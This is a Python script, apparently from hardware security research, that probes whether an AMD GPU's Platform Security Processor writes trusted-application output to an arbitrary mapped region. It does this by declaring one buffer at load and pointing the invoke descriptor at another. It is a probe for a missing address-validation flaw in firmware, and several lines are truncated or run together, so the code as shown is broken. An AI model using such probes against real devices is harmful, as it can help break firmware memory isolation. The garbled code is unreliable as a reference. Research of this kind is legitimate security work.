#!/usr/bin/env python3 """Will the PSP write into a mapped region the caller did not designate as its buffer? Pass 105: cmd_buf = MC 0 hangs the PSP with a flood of VMC faults, i.e. the address is dereferenced without aperture validation. The follow-up that matters: give a VALID mapped address that is not the buffer the host "meant", and see whether TA output lands there. Allocate two separate regions A and B. Declare A as cmd_buf at LOAD_TA, then for the invoke point the descriptor at B. If output appears in B, the PSP writes wherever it is told. """ import glob, struct, sys, time sys.path.insert(0,'/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am from ring_wrap import install adev=Device["AMD"].iface.dev_impl; psp=adev.psp submit=install(psp,adev) PATA=0xAAAAAAAA; PATB=0xBBBBBBBB base=open(glob.glob('/root/psp/contall/ta_16-0-0-9_9e9044cf*')[0],'rb').read() # AUC: writes output def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) ap_,amc=alloc(0x80000); A,Amc=alloc(0x8000); B,Bmc=alloc(0x8000) n=(len(base)+3)&~3 adev.vram.view(ap_,n)[:]=base+b'\x00'*(n-len(base)) adev.vram.view(A,0x8000)[:]=bytes(struct.pack('>32; t.app_len=len(base) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=Amc&0xFFFFFFFF,Amc>>32; t.cmd_buf_len=0x4000 r=submit(c); sid=r.resp.session_id print('load (cmd_buf=A) %#x sid=%s'%(r.resp.status&0xFFFFFFFF,sid), flush=True) buf=bytearray(0x4000); struct.pack_into(' %#x %.1fs ; dwords changed: A=%d (expected) B=%d (must be 0)'%(s,time.time()-t0,ca,cb), flush=True)